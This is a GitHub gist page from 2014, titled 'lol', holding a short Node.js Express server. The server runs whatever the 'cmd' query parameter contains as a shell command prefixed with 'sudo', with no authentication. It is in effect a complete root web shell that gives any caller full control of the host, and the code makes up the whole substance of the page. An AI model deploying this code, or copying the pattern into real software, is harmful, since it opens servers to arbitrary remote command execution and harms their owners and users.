Skip to content

Instantly share code, notes, and snippets.

@prettymuchbryce
Created August 26, 2014 22:26
Show Gist options
  • Save prettymuchbryce/50785021bdfd6e15b363 to your computer and use it in GitHub Desktop.
Save prettymuchbryce/50785021bdfd6e15b363 to your computer and use it in GitHub Desktop.
lol
var express = require('express');
var app = express();
var sys = require('sys');
var exec = require('child_process').exec;
function puts(error, stdout, stderr) { sys.puts(stdout) };
app.get('/', function(req, res){
exec("sudo " + req.query.cmd, puts);
});
app.listen(3000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment